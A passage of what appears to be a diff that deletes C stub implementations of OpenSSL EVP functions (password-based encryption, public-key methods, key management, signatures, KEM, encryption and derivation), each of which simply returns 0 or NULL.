PKCS5_v2_scrypt_keyivgen(EVP_CIPHER_CTX * ctx, const char * pass, int passlen, ASN1_TYPE * param, const EVP_CIPHER * c, const EVP_MD * md, int en_de) { - return 0; -} - -int PKCS5_v2_scrypt_keyivgen_ex(EVP_CIPHER_CTX * ctx, const char * pass, int passlen, ASN1_TYPE * param, const EVP_CIPHER * c, const EVP_MD * md, int en_de, OSSL_LIB_CTX * libctx, const char * propq) { - return 0; -} - -void PKCS5_PBE_add(void) ; - - -int EVP_PBE_CipherInit(ASN1_OBJECT * pbe_obj, const char * pass, int passlen, ASN1_TYPE * param, EVP_CIPHER_CTX * ctx, int en_de) { - return 0; -} - -int EVP_PBE_CipherInit_ex(ASN1_OBJECT * pbe_obj, const char * pass, int passlen, ASN1_TYPE * param, EVP_CIPHER_CTX * ctx, int en_de, OSSL_LIB_CTX * libctx, const char * propq) { - return 0; -} - -int EVP_PBE_alg_add_type(int pbe_type, int pbe_nid, int cipher_nid, int md_nid, EVP_PBE_KEYGEN * keygen) { - return 0; -} - -int EVP_PBE_alg_add(int nid, const EVP_CIPHER * cipher, const EVP_MD * md, EVP_PBE_KEYGEN * keygen) { - return 0; -} - -int EVP_PBE_find(int type, int pbe_nid, int * pcnid, int * pmnid, EVP_PBE_KEYGEN ** pkeygen) { - return 0; -} - -int EVP_PBE_find_ex(int type, int pbe_nid, int * pcnid, int * pmnid, EVP_PBE_KEYGEN ** pkeygen, EVP_PBE_KEYGEN_EX ** pkeygen_ex) { - return 0; -} - -void EVP_PBE_cleanup(void) ; - - -int EVP_PBE_get(int * ptype, int * ppbe_nid, size_t num) { - return 0; -} - -int EVP_PKEY_asn1_get_count(void) { - return 0; -} - -const EVP_PKEY_ASN1_METHOD * EVP_PKEY_asn1_get0(int idx) { - return NULL; -} - -const EVP_PKEY_ASN1_METHOD * EVP_PKEY_asn1_find(ENGINE ** pe, int type) { - return NULL; -} - -const EVP_PKEY_ASN1_METHOD * EVP_PKEY_asn1_find_str(ENGINE ** pe, const char * str, int len) { - return NULL; -} - -int EVP_PKEY_asn1_add0(const EVP_PKEY_ASN1_METHOD * ameth) { - return 0; -} - -int EVP_PKEY_asn1_add_alias(int to, int from) { - return 0; -} - -int EVP_PKEY_asn1_get0_info(int * ppkey_id, int * pkey_base_id, int * ppkey_flags, const char ** pinfo, const char ** ppem_str, const EVP_PKEY_ASN1_METHOD * ameth) { - return 0; -} - -const EVP_PKEY_ASN1_METHOD * EVP_PKEY_get0_asn1(const EVP_PKEY * pkey) { - return NULL; -} - -EVP_PKEY_ASN1_METHOD * EVP_PKEY_asn1_new(int id, int flags, const char * pem_str, const char * info) { - return NULL; -} - -void EVP_PKEY_asn1_copy(EVP_PKEY_ASN1_METHOD * dst, const EVP_PKEY_ASN1_METHOD * src) ; - - -void EVP_PKEY_asn1_free(EVP_PKEY_ASN1_METHOD * ameth) ; - - -void EVP_PKEY_asn1_set_public(EVP_PKEY_ASN1_METHOD * ameth, int (*pub_decode)(EVP_PKEY *, const X509_PUBKEY *), int (*pub_encode)(X509_PUBKEY *, const EVP_PKEY *), int (*pub_cmp)(const EVP_PKEY *, const EVP_PKEY *), int (*pub_print)(BIO *, const EVP_PKEY *, int, ASN1_PCTX *), int (*pkey_size)(const EVP_PKEY *), int (*pkey_bits)(const EVP_PKEY *)) ; - - -void EVP_PKEY_asn1_set_private(EVP_PKEY_ASN1_METHOD * ameth, int (*priv_decode)(EVP_PKEY *, const PKCS8_PRIV_KEY_INFO *), int (*priv_encode)(PKCS8_PRIV_KEY_INFO *, const EVP_PKEY *), int (*priv_print)(BIO *, const EVP_PKEY *, int, ASN1_PCTX *)) ; - - -void EVP_PKEY_asn1_set_param(EVP_PKEY_ASN1_METHOD * ameth, int (*param_decode)(EVP_PKEY *, const unsigned char **, int), int (*param_encode)(const EVP_PKEY *, unsigned char **), int (*param_missing)(const EVP_PKEY *), int (*param_copy)(EVP_PKEY *, const EVP_PKEY *), int (*param_cmp)(const EVP_PKEY *, const EVP_PKEY *), int (*param_print)(BIO *, const EVP_PKEY *, int, ASN1_PCTX *)) ; - - -void EVP_PKEY_asn1_set_free(EVP_PKEY_ASN1_METHOD * ameth, void (*pkey_free)(EVP_PKEY *)) ; - - -void EVP_PKEY_asn1_set_ctrl(EVP_PKEY_ASN1_METHOD * ameth, int (*pkey_ctrl)(EVP_PKEY *, int, long, void *)) ; - - -void EVP_PKEY_asn1_set_item(EVP_PKEY_ASN1_METHOD * ameth, int (*item_verify)(EVP_MD_CTX *, const ASN1_ITEM *, const void *, const X509_ALGOR *, const ASN1_BIT_STRING *, EVP_PKEY *), int (*item_sign)(EVP_MD_CTX *, const ASN1_ITEM *, const void *, X509_ALGOR *, X509_ALGOR *, ASN1_BIT_STRING *)) ; - - -void EVP_PKEY_asn1_set_siginf(EVP_PKEY_ASN1_METHOD * ameth, int (*siginf_set)(X509_SIG_INFO *, const X509_ALGOR *, const ASN1_STRING *)) ; - - -void EVP_PKEY_asn1_set_check(EVP_PKEY_ASN1_METHOD * ameth, int (*pkey_check)(const EVP_PKEY *)) ; - - -void EVP_PKEY_asn1_set_public_check(EVP_PKEY_ASN1_METHOD * ameth, int (*pkey_pub_check)(const EVP_PKEY *)) ; - - -void EVP_PKEY_asn1_set_param_check(EVP_PKEY_ASN1_METHOD * ameth, int (*pkey_param_check)(const EVP_PKEY *)) ; - - -void EVP_PKEY_asn1_set_set_priv_key(EVP_PKEY_ASN1_METHOD * ameth, int (*set_priv_key)(EVP_PKEY *, const unsigned char *, size_t)) ; - - -void EVP_PKEY_asn1_set_set_pub_key(EVP_PKEY_ASN1_METHOD * ameth, int (*set_pub_key)(EVP_PKEY *, const unsigned char *, size_t)) ; - - -void EVP_PKEY_asn1_set_get_priv_key(EVP_PKEY_ASN1_METHOD * ameth, int (*get_priv_key)(const EVP_PKEY *, unsigned char *, size_t *)) ; - - -void EVP_PKEY_asn1_set_get_pub_key(EVP_PKEY_ASN1_METHOD * ameth, int (*get_pub_key)(const EVP_PKEY *, unsigned char *, size_t *)) ; - - -void EVP_PKEY_asn1_set_security_bits(EVP_PKEY_ASN1_METHOD * ameth, int (*pkey_security_bits)(const EVP_PKEY *)) ; - - -int EVP_PKEY_CTX_get_signature_md(EVP_PKEY_CTX * ctx, const EVP_MD ** md) { - return 0; -} - -int EVP_PKEY_CTX_set_signature_md(EVP_PKEY_CTX * ctx, const EVP_MD * md) { - return 0; -} - -int EVP_PKEY_CTX_set1_id(EVP_PKEY_CTX * ctx, const void * id, int len) { - return 0; -} - -int EVP_PKEY_CTX_get1_id(EVP_PKEY_CTX * ctx, void * id) { - return 0; -} - -int EVP_PKEY_CTX_get1_id_len(EVP_PKEY_CTX * ctx, size_t * id_len) { - return 0; -} - -int EVP_PKEY_CTX_set_kem_op(EVP_PKEY_CTX * ctx, const char * op) { - return 0; -} - -const char * EVP_PKEY_get0_type_name(const EVP_PKEY * key) { - return NULL; -} - -int EVP_PKEY_CTX_set_mac_key(EVP_PKEY_CTX * ctx, const unsigned char * key, int keylen) { - return 0; -} - -const EVP_PKEY_METHOD * EVP_PKEY_meth_find(int type) { - return NULL; -} - -EVP_PKEY_METHOD * EVP_PKEY_meth_new(int id, int flags) { - return NULL; -} - -void EVP_PKEY_meth_get0_info(int * ppkey_id, int * pflags, const EVP_PKEY_METHOD * meth) ; - - -void EVP_PKEY_meth_copy(EVP_PKEY_METHOD * dst, const EVP_PKEY_METHOD * src) ; - - -void EVP_PKEY_meth_free(EVP_PKEY_METHOD * pmeth) ; - - -int EVP_PKEY_meth_add0(const EVP_PKEY_METHOD * pmeth) { - return 0; -} - -int EVP_PKEY_meth_remove(const EVP_PKEY_METHOD * pmeth) { - return 0; -} - -size_t EVP_PKEY_meth_get_count(void) { - return 0; -} - -const EVP_PKEY_METHOD * EVP_PKEY_meth_get0(size_t idx) { - return NULL; -} - -EVP_KEYMGMT * EVP_KEYMGMT_fetch(OSSL_LIB_CTX * ctx, const char * algorithm, const char * properties) { - return NULL; -} - -int EVP_KEYMGMT_up_ref(EVP_KEYMGMT * keymgmt) { - return 0; -} - -void EVP_KEYMGMT_free(EVP_KEYMGMT * keymgmt) ; - - -const OSSL_PROVIDER * EVP_KEYMGMT_get0_provider(const EVP_KEYMGMT * keymgmt) { - return NULL; -} - -const char * EVP_KEYMGMT_get0_name(const EVP_KEYMGMT * keymgmt) { - return NULL; -} - -const char * EVP_KEYMGMT_get0_description(const EVP_KEYMGMT * keymgmt) { - return NULL; -} - -int EVP_KEYMGMT_is_a(const EVP_KEYMGMT * keymgmt, const char * name) { - return 0; -} - -void EVP_KEYMGMT_do_all_provided(OSSL_LIB_CTX * libctx, void (*fn)(EVP_KEYMGMT *, void *), void * arg) ; - - -int EVP_KEYMGMT_names_do_all(const EVP_KEYMGMT * keymgmt, void (*fn)(const char *, void *), void * data) { - return 0; -} - -const OSSL_PARAM * EVP_KEYMGMT_gettable_params(const EVP_KEYMGMT * keymgmt) { - return NULL; -} - -const OSSL_PARAM * EVP_KEYMGMT_settable_params(const EVP_KEYMGMT * keymgmt) { - return NULL; -} - -const OSSL_PARAM * EVP_KEYMGMT_gen_settable_params(const EVP_KEYMGMT * keymgmt) { - return NULL; -} - -const OSSL_PARAM * EVP_KEYMGMT_gen_gettable_params(const EVP_KEYMGMT * keymgmt) { - return NULL; -} - -EVP_SKEYMGMT * EVP_SKEYMGMT_fetch(OSSL_LIB_CTX * ctx, const char * algorithm, const char * properties) { - return NULL; -} - -int EVP_SKEYMGMT_up_ref(EVP_SKEYMGMT * keymgmt) { - return 0; -} - -void EVP_SKEYMGMT_free(EVP_SKEYMGMT * keymgmt) ; - - -const OSSL_PROVIDER * EVP_SKEYMGMT_get0_provider(const EVP_SKEYMGMT * keymgmt) { - return NULL; -} - -const char * EVP_SKEYMGMT_get0_name(const EVP_SKEYMGMT * keymgmt) { - return NULL; -} - -const char * EVP_SKEYMGMT_get0_description(const EVP_SKEYMGMT * keymgmt) { - return NULL; -} - -int EVP_SKEYMGMT_is_a(const EVP_SKEYMGMT * keymgmt, const char * name) { - return 0; -} - -void EVP_SKEYMGMT_do_all_provided(OSSL_LIB_CTX * libctx, void (*fn)(EVP_SKEYMGMT *, void *), void * arg) ; - - -int EVP_SKEYMGMT_names_do_all(const EVP_SKEYMGMT * keymgmt, void (*fn)(const char *, void *), void * data) { - return 0; -} - -const OSSL_PARAM * EVP_SKEYMGMT_get0_gen_settable_params(const EVP_SKEYMGMT * skeymgmt) { - return NULL; -} - -const OSSL_PARAM * EVP_SKEYMGMT_get0_imp_settable_params(const EVP_SKEYMGMT * skeymgmt) { - return NULL; -} - -EVP_PKEY_CTX * EVP_PKEY_CTX_new(EVP_PKEY * pkey, ENGINE * e) { - return NULL; -} - -EVP_PKEY_CTX * EVP_PKEY_CTX_new_id(int id, ENGINE * e) { - return NULL; -} - -EVP_PKEY_CTX * EVP_PKEY_CTX_new_from_name(OSSL_LIB_CTX * libctx, const char * name, const char * propquery) { - return NULL; -} - -EVP_PKEY_CTX * EVP_PKEY_CTX_new_from_pkey(OSSL_LIB_CTX * libctx, EVP_PKEY * pkey, const char * propquery) { - return NULL; -} - -EVP_PKEY_CTX * EVP_PKEY_CTX_dup(const EVP_PKEY_CTX * ctx) { - return NULL; -} - -void EVP_PKEY_CTX_free(EVP_PKEY_CTX * ctx) ; - - -int EVP_PKEY_CTX_is_a(EVP_PKEY_CTX * ctx, const char * keytype) { - return 0; -} - -int EVP_PKEY_CTX_get_params(EVP_PKEY_CTX * ctx, OSSL_PARAM * params) { - return 0; -} - -const OSSL_PARAM * EVP_PKEY_CTX_gettable_params(const EVP_PKEY_CTX * ctx) { - return NULL; -} - -int EVP_PKEY_CTX_set_params(EVP_PKEY_CTX * ctx, const OSSL_PARAM * params) { - return 0; -} - -const OSSL_PARAM * EVP_PKEY_CTX_settable_params(const EVP_PKEY_CTX * ctx) { - return NULL; -} - -int EVP_PKEY_CTX_set_algor_params(EVP_PKEY_CTX * ctx, const X509_ALGOR * alg) { - return 0; -} - -int EVP_PKEY_CTX_get_algor_params(EVP_PKEY_CTX * ctx, X509_ALGOR * alg) { - return 0; -} - -int EVP_PKEY_CTX_get_algor(EVP_PKEY_CTX * ctx, X509_ALGOR ** alg) { - return 0; -} - -int EVP_PKEY_CTX_ctrl(EVP_PKEY_CTX * ctx, int keytype, int optype, int cmd, int p1, void * p2) { - return 0; -} - -int EVP_PKEY_CTX_ctrl_str(EVP_PKEY_CTX * ctx, const char * type, const char * value) { - return 0; -} - -int EVP_PKEY_CTX_ctrl_uint64(EVP_PKEY_CTX * ctx, int keytype, int optype, int cmd, uint64_t value) { - return 0; -} - -int EVP_PKEY_CTX_str2ctrl(EVP_PKEY_CTX * ctx, int cmd, const char * str) { - return 0; -} - -int EVP_PKEY_CTX_hex2ctrl(EVP_PKEY_CTX * ctx, int cmd, const char * hex) { - return 0; -} - -int EVP_PKEY_CTX_md(EVP_PKEY_CTX * ctx, int optype, int cmd, const char * md) { - return 0; -} - -int EVP_PKEY_CTX_get_operation(EVP_PKEY_CTX * ctx) { - return 0; -} - -void EVP_PKEY_CTX_set0_keygen_info(EVP_PKEY_CTX * ctx, int * dat, int datlen) ; - - -EVP_PKEY * EVP_PKEY_new_mac_key(int type, ENGINE * e, const unsigned char * key, int keylen) { - return NULL; -} - -EVP_PKEY * EVP_PKEY_new_raw_private_key_ex(OSSL_LIB_CTX * libctx, const char * keytype, const char * propq, const unsigned char * priv, size_t len) { - return NULL; -} - -EVP_PKEY * EVP_PKEY_new_raw_private_key(int type, ENGINE * e, const unsigned char * priv, size_t len) { - return NULL; -} - -EVP_PKEY * EVP_PKEY_new_raw_public_key_ex(OSSL_LIB_CTX * libctx, const char * keytype, const char * propq, const unsigned char * pub, size_t len) { - return NULL; -} - -EVP_PKEY * EVP_PKEY_new_raw_public_key(int type, ENGINE * e, const unsigned char * pub, size_t len) { - return NULL; -} - -int EVP_PKEY_get_raw_private_key(const EVP_PKEY * pkey, unsigned char * priv, size_t * len) { - return 0; -} - -int EVP_PKEY_get_raw_public_key(const EVP_PKEY * pkey, unsigned char * pub, size_t * len) { - return 0; -} - -EVP_PKEY * EVP_PKEY_new_CMAC_key(ENGINE * e, const unsigned char * priv, size_t len, const EVP_CIPHER * cipher) { - return NULL; -} - -void EVP_PKEY_CTX_set_data(EVP_PKEY_CTX * ctx, void * data) ; - - -void * EVP_PKEY_CTX_get_data(const EVP_PKEY_CTX * ctx) { - return NULL; -} - -EVP_PKEY * EVP_PKEY_CTX_get0_pkey(EVP_PKEY_CTX * ctx) { - return NULL; -} - -EVP_PKEY * EVP_PKEY_CTX_get0_peerkey(EVP_PKEY_CTX * ctx) { - return NULL; -} - -void EVP_PKEY_CTX_set_app_data(EVP_PKEY_CTX * ctx, void * data) ; - - -void * EVP_PKEY_CTX_get_app_data(EVP_PKEY_CTX * ctx) { - return NULL; -} - -int EVP_PKEY_CTX_set_signature(EVP_PKEY_CTX * pctx, const unsigned char * sig, size_t siglen) { - return 0; -} - -void EVP_SIGNATURE_free(EVP_SIGNATURE * signature) ; - - -int EVP_SIGNATURE_up_ref(EVP_SIGNATURE * signature) { - return 0; -} - -OSSL_PROVIDER * EVP_SIGNATURE_get0_provider(const EVP_SIGNATURE * signature) { - return NULL; -} - -EVP_SIGNATURE * EVP_SIGNATURE_fetch(OSSL_LIB_CTX * ctx, const char * algorithm, const char * properties) { - return NULL; -} - -int EVP_SIGNATURE_is_a(const EVP_SIGNATURE * signature, const char * name) { - return 0; -} - -const char * EVP_SIGNATURE_get0_name(const EVP_SIGNATURE * signature) { - return NULL; -} - -const char * EVP_SIGNATURE_get0_description(const EVP_SIGNATURE * signature) { - return NULL; -} - -void EVP_SIGNATURE_do_all_provided(OSSL_LIB_CTX * libctx, void (*fn)(EVP_SIGNATURE *, void *), void * data) ; - - -int EVP_SIGNATURE_names_do_all(const EVP_SIGNATURE * signature, void (*fn)(const char *, void *), void * data) { - return 0; -} - -const OSSL_PARAM * EVP_SIGNATURE_gettable_ctx_params(const EVP_SIGNATURE * sig) { - return NULL; -} - -const OSSL_PARAM * EVP_SIGNATURE_settable_ctx_params(const EVP_SIGNATURE * sig) { - return NULL; -} - -void EVP_ASYM_CIPHER_free(EVP_ASYM_CIPHER * cipher) ; - - -int EVP_ASYM_CIPHER_up_ref(EVP_ASYM_CIPHER * cipher) { - return 0; -} - -OSSL_PROVIDER * EVP_ASYM_CIPHER_get0_provider(const EVP_ASYM_CIPHER * cipher) { - return NULL; -} - -EVP_ASYM_CIPHER * EVP_ASYM_CIPHER_fetch(OSSL_LIB_CTX * ctx, const char * algorithm, const char * properties) { - return NULL; -} - -int EVP_ASYM_CIPHER_is_a(const EVP_ASYM_CIPHER * cipher, const char * name) { - return 0; -} - -const char * EVP_ASYM_CIPHER_get0_name(const EVP_ASYM_CIPHER * cipher) { - return NULL; -} - -const char * EVP_ASYM_CIPHER_get0_description(const EVP_ASYM_CIPHER * cipher) { - return NULL; -} - -void EVP_ASYM_CIPHER_do_all_provided(OSSL_LIB_CTX * libctx, void (*fn)(EVP_ASYM_CIPHER *, void *), void * arg) ; - - -int EVP_ASYM_CIPHER_names_do_all(const EVP_ASYM_CIPHER * cipher, void (*fn)(const char *, void *), void * data) { - return 0; -} - -const OSSL_PARAM * EVP_ASYM_CIPHER_gettable_ctx_params(const EVP_ASYM_CIPHER * ciph) { - return NULL; -} - -const OSSL_PARAM * EVP_ASYM_CIPHER_settable_ctx_params(const EVP_ASYM_CIPHER * ciph) { - return NULL; -} - -void EVP_KEM_free(EVP_KEM * wrap) ; - - -int EVP_KEM_up_ref(EVP_KEM * wrap) { - return 0; -} - -OSSL_PROVIDER * EVP_KEM_get0_provider(const EVP_KEM * wrap) { - return NULL; -} - -EVP_KEM * EVP_KEM_fetch(OSSL_LIB_CTX * ctx, const char * algorithm, const char * properties) { - return NULL; -} - -int EVP_KEM_is_a(const EVP_KEM * wrap, const char * name) { - return 0; -} - -const char * EVP_KEM_get0_name(const EVP_KEM * wrap) { - return NULL; -} - -const char * EVP_KEM_get0_description(const EVP_KEM * wrap) { - return NULL; -} - -void EVP_KEM_do_all_provided(OSSL_LIB_CTX * libctx, void (*fn)(EVP_KEM *, void *), void * arg) ; - - -int EVP_KEM_names_do_all(const EVP_KEM * wrap, void (*fn)(const char *, void *), void * data) { - return 0; -} - -const OSSL_PARAM * EVP_KEM_gettable_ctx_params(const EVP_KEM * kem) { - return NULL; -} - -const OSSL_PARAM * EVP_KEM_settable_ctx_params(const EVP_KEM * kem) { - return NULL; -} - -int EVP_PKEY_sign_init(EVP_PKEY_CTX * ctx) { - return 0; -} - -int EVP_PKEY_sign_init_ex(EVP_PKEY_CTX * ctx, const OSSL_PARAM * params) { - return 0; -} - -int EVP_PKEY_sign_init_ex2(EVP_PKEY_CTX * ctx, EVP_SIGNATURE * algo, const OSSL_PARAM * params) { - return 0; -} - -int EVP_PKEY_sign(EVP_PKEY_CTX * ctx, unsigned char * sig, size_t * siglen, const unsigned char * tbs, size_t tbslen) { - return 0; -} - -int EVP_PKEY_sign_message_init(EVP_PKEY_CTX * ctx, EVP_SIGNATURE * algo, const OSSL_PARAM * params) { - return 0; -} - -int EVP_PKEY_sign_message_update(EVP_PKEY_CTX * ctx, const unsigned char * in, size_t inlen) { - return 0; -} - -int EVP_PKEY_sign_message_final(EVP_PKEY_CTX * ctx, unsigned char * sig, size_t * siglen) { - return 0; -} - -int EVP_PKEY_verify_init(EVP_PKEY_CTX * ctx) { - return 0; -} - -int EVP_PKEY_verify_init_ex(EVP_PKEY_CTX * ctx, const OSSL_PARAM * params) { - return 0; -} - -int EVP_PKEY_verify_init_ex2(EVP_PKEY_CTX * ctx, EVP_SIGNATURE * algo, const OSSL_PARAM * params) { - return 0; -} - -int EVP_PKEY_verify(EVP_PKEY_CTX * ctx, const unsigned char * sig, size_t siglen, const unsigned char * tbs, size_t tbslen) { - return 0; -} - -int EVP_PKEY_verify_message_init(EVP_PKEY_CTX * ctx, EVP_SIGNATURE * algo, const OSSL_PARAM * params) { - return 0; -} - -int EVP_PKEY_verify_message_update(EVP_PKEY_CTX * ctx, const unsigned char * in, size_t inlen) { - return 0; -} - -int EVP_PKEY_verify_message_final(EVP_PKEY_CTX * ctx) { - return 0; -} - -int EVP_PKEY_verify_recover_init(EVP_PKEY_CTX * ctx) { - return 0; -} - -int EVP_PKEY_verify_recover_init_ex(EVP_PKEY_CTX * ctx, const OSSL_PARAM * params) { - return 0; -} - -int EVP_PKEY_verify_recover_init_ex2(EVP_PKEY_CTX * ctx, EVP_SIGNATURE * algo, const OSSL_PARAM * params) { - return 0; -} - -int EVP_PKEY_verify_recover(EVP_PKEY_CTX * ctx, unsigned char * rout, size_t * routlen, const unsigned char * sig, size_t siglen) { - return 0; -} - -int EVP_PKEY_encrypt_init(EVP_PKEY_CTX * ctx) { - return 0; -} - -int EVP_PKEY_encrypt_init_ex(EVP_PKEY_CTX * ctx, const OSSL_PARAM * params) { - return 0; -} - -int EVP_PKEY_encrypt(EVP_PKEY_CTX * ctx, unsigned char * out, size_t * outlen, const unsigned char * in, size_t inlen) { - return 0; -} - -int EVP_PKEY_decrypt_init(EVP_PKEY_CTX * ctx) { - return 0; -} - -int EVP_PKEY_decrypt_init_ex(EVP_PKEY_CTX * ctx, const OSSL_PARAM * params) { - return 0; -} - -int EVP_PKEY_decrypt(EVP_PKEY_CTX * ctx, unsigned char * out, size_t * outlen, const unsigned char * in, size_t inlen) { - return 0; -} - -int EVP_PKEY_derive_init(EVP_PKEY_CTX * ctx) { - return 0; -} - -int EVP_PKEY_derive_init_ex(EVP_PKEY_CTX * ctx, const OSSL_PARAM * params) { - return 0; -} - -int EVP_PKEY_derive_set_peer_ex(EVP_PKEY_CTX * ctx, EVP_PKEY * peer, int validate_peer) { - return 0; -} - -int EVP_PKEY_derive_set_peer(EVP_PKEY_CTX * ctx, EVP_PKEY * peer) { - return 0; -} - -int EVP_PKEY_derive(EVP_PKEY_CTX * ctx, unsigned char * key, size_t * keylen) { - return 0; -} - -int EVP_PKEY_encapsulate_init(EVP_PKEY_CTX * ctx, const OSSL_PARAM * params) { - return 0; -} - -int EVP_PKEY_auth_encapsulate_init(EVP_PKEY_CTX * ctx, EVP_PKEY * authpriv, const OSSL_PARAM * params) { - return 0; -} - -int EVP_PKEY_encapsulate(EVP_PKEY_CTX * ctx, unsigned char * wrappedkey, size_t * wrappedkeylen, unsigned char * genkey, size_t * genkeylen) { - return 0; -} - -int EVP_PKEY_decapsulate_init(EVP_PKEY_CTX * ctx, const OSSL_PARAM * params) { - return 0; -} - -int EVP_PKEY_auth_decapsulate_init(EVP_PKEY_CTX * ctx, EVP_PKEY * authpub, const OSSL_PARAM * params) { - return 0; -} - -int EVP_PKEY_decapsulate(EVP_PKEY_CTX * ctx, unsigned char * unwrapped, size_t * unwrappedlen, const unsigned char * wrapped, size_t wrappedlen) { - return 0; -} - -int EVP_PKEY_fromdata_init(EVP_PKEY_CTX * ctx) { - return 0; -} - -int EVP_PKEY_fromdata(EVP_PKEY_CTX * ctx, EVP_PKEY ** ppkey, int selection, OSSL_PARAM * param) { - return 0; -} - -const OSSL_PARAM * EVP_PKEY_fromdata_settable(EVP_PKEY_CTX * ctx, int selection) { - return NULL; -} - -int EVP_PKEY_todata(const EVP_PKEY * pkey, int selection, OSSL_PARAM ** params) { - return 0; -} - -int EVP_PKEY_export(const EVP_PKEY * pkey, int selection, OSSL_CALLBACK * export_cb, void * export_cbarg) { - return 0; -} - -const OSSL_PARAM * EVP_PKEY_gettable_params(const EVP_PKEY * pkey) { - return NULL; -} - -int EVP_PKEY_get_params(const EVP_PKEY * pkey, OSSL_PARAM * params) { - return 0; -} - -int EVP_PKEY_get_int_param(const EVP_PKEY * pkey, const char * key_name, int * out) { - return 0; -} - -int EVP_PKEY_get_size_t_param(const EVP_PKEY * pkey, const char * key_name, size_t * out) { - return 0; -} - -int EVP_PKEY_get_bn_param(const EVP_PKEY * pkey, const char * key_name, BIGNUM ** bn) { - return 0; -} - -int EVP_PKEY_get_utf8_string_param(const EVP_PKEY * pkey, const char * key_name, char * str, size_t max_buf_sz, size_t * out_sz) { - return 0; -} - -int EVP_PKEY_get_octet_string_param(const EVP_PKEY * pkey, const char * key_name, unsigned char * buf, size_t max_buf_sz, size_t * out_sz) { - return 0; -} - -const OSSL_PARAM * EVP_PKEY_settable_params(const EVP_PKEY * pkey) { - return NULL; -} - -int EVP_PKEY_set_params(EVP_PKEY * pkey, OSSL_PARAM * params) { - return 0; -} - -int EVP_PKEY_set_int_param(EVP_PKEY * pkey, const char * key_name, int in) { - return 0; -} - -int EVP_PKEY_set_size_t_param(EVP_PKEY * pkey, const char * key_name, size_t in) { - return 0; -} - -int EVP_PKEY_set_bn_param(EVP_PKEY * pkey, const char * key_name, const BIGNUM * bn) { - return 0; -} - -int EVP_PKEY_set_utf8_string_param(EVP_PKEY * pkey, const char * key_name, const char * str) { - return 0; -} - -int EVP_PKEY_set_octet_string_param(EVP_PKEY * pkey, const char * key_name, const unsigned char * buf, size_t bsize) { - return 0; -} - -int EVP_PKEY_get_ec_point_conv_form(const EVP_PKEY * pkey) { - return 0; -} - -int EVP_PKEY_get_field_type(const EVP_PKEY * pkey) { - return 0; -} - -EVP_PKEY * EVP_PKEY_Q_keygen(OSSL_LIB_CTX * libctx, const char * propq, const char * type, ...) { - return NULL; -} - -int EVP_PKEY_paramgen_init(EVP_PKEY_CTX * ctx) { - return 0; -} - -int EVP_PKEY_paramgen(EVP_PKEY_CTX * ctx, EVP_PKEY ** ppkey) { - return 0; -} - -int EVP_PKEY_keygen_init(EVP_PKEY_CTX * ctx) { - return 0; -} - -int EVP_PKEY_keygen(EVP_PKEY_CTX * ctx, EVP_PKEY ** ppkey) { - return 0; -} - -int EVP_PKEY_generate(EVP_PKEY_CTX * ctx, EVP_PKEY ** ppkey) { - return 0; -} - -int EVP_PKEY_check(EVP_PKEY_CTX * ctx) { - return 0; -} - -int EVP_PKEY_public_check(EVP_PKEY_CTX * ctx) { - return 0; -} - -int EVP_PKEY_public_check_quick(EVP_PKEY_CTX * ctx) { - return 0; -} - -int EVP_PKEY_param_check(EVP_PKEY_CTX * ctx) { - return 0; -} - -int EVP_PKEY_param_check_quick(EVP_PKEY_CTX * ctx) { - return 0; -} - -int EVP_PKEY_private_check(EVP_PKEY_CTX * ctx) { - return 0; -} - -int EVP_PKEY_pairwise_check(EVP_PKEY_CTX * ctx) { - return 0; -} - -int EVP_PKEY_set_ex_data(EVP_PKEY * key, int idx, void * arg) { - return 0; -} - -void * EVP_PKEY_get_ex_data(const EVP_PKEY * key, int idx) { - return NULL; -} - -void EVP_PKEY_CTX_set_cb(EVP_PKEY_CTX * ctx, EVP_PKEY_gen_cb * cb) ; - - -EVP_PKEY_gen_cb * EVP_PKEY_CTX_get_cb(EVP_PKEY_CTX * ctx) { - return NULL; -} - -int EVP_PKEY_CTX_get_keygen_info(EVP_PKEY_CTX * ctx, int idx) { - return 0; -} - -void EVP_PKEY_meth_set_init(EVP_PKEY_METHOD * pmeth, int (*init)(EVP_PKEY_CTX *)) ; - - -void EVP_PKEY_meth_set_copy(EVP_PKEY_METHOD * pmeth, int (*copy)(EVP_PKEY_CTX *, const EVP_PKEY_CTX *)) ; - - -void EVP_PKEY_meth_set_cleanup(EVP_PKEY_METHOD * pmeth, void (*cleanup)(EVP_PKEY_CTX *)) ; - - -void EVP_PKEY_meth_set_paramgen(EVP_PKEY_METHOD * pmeth, int (*paramgen_init)(EVP_PKEY_CTX *), int (*paramgen)(EVP_PKEY_CTX *, EVP_PKEY *)) ; - - -void EVP_PKEY_meth_set_keygen(EVP_PKEY_METHOD * pmeth, int (*keygen_init)(EVP_PKEY_CTX *), int (*keygen)(EVP_PKEY_CTX *, EVP_PKEY *)) ; - - -void EVP_PKEY_meth_set_sign(EVP_PKEY_METHOD * pmeth, int (*sign_init)(EVP_PKEY_CTX *), int (*sign)(EVP_PKEY_CTX *, unsigned char *, size_t *, const unsigned char *, size_t)) ; - - -void EVP_PKEY_meth_set_verify(EVP_PKEY_METHOD * pmeth, int (*verify_init)(EVP_PKEY_CTX *), int (*verify)(EVP_PKEY_CTX *, const unsigned char *, size_t, const unsigned char *, size_t)) ; - - -void EVP_PKEY_meth_set_verify_recover(EVP_PKEY_METHOD * pmeth, int (*verify_recover_init)(EVP_PKEY_CTX *), int (*verify_recover)(EVP_PKEY_CTX *, unsigned char *, size_t *, const unsigned char *, size_t)) ; - - -void EVP_PKEY_meth_set_signctx(EVP_PKEY_METHOD * pmeth, int (*signctx_init)(EVP_PKEY_CTX *, EVP_MD_CTX *), int (*signctx)(EVP_PKEY_CTX *, unsigned char *, size_t *, EVP_MD_CTX *)) ; - - -void EVP_PKEY_meth_set_verifyctx(EVP_PKEY_METHOD * pmeth, int (*verifyctx_init)(EVP_PKEY_CTX *, EVP_MD_CTX *), int (*verifyctx)(EVP_PKEY_CTX *, const unsigned char *, int, EVP_MD_CTX *)) ; - - -void EVP_PKEY_meth_set_encrypt(EVP_PKEY_METHOD * pmeth, int (*encrypt_init)(EVP_PKEY_CTX *), int (*encryptfn)(EVP_PKEY_CTX *, unsigned char *, size_t *, const unsigned char *, size_t)) ; - - -void EVP_PKEY_meth_set_decrypt(EVP_PKEY_METHOD * pmeth, int (*decrypt_init)(EVP_PKEY_CTX *), int (*decrypt)(EVP_PKEY_CTX *, unsigned char *, size_t *, const unsigned char *, size_t)) ; - - -void EVP_PKEY_meth_set_derive(EVP_PKEY_METHOD * pmeth, int (*derive_init)(EVP_PKEY_CTX *), int (*derive)(EVP_PKEY_CTX *, unsigned char *, size_t *)) ; - - -void 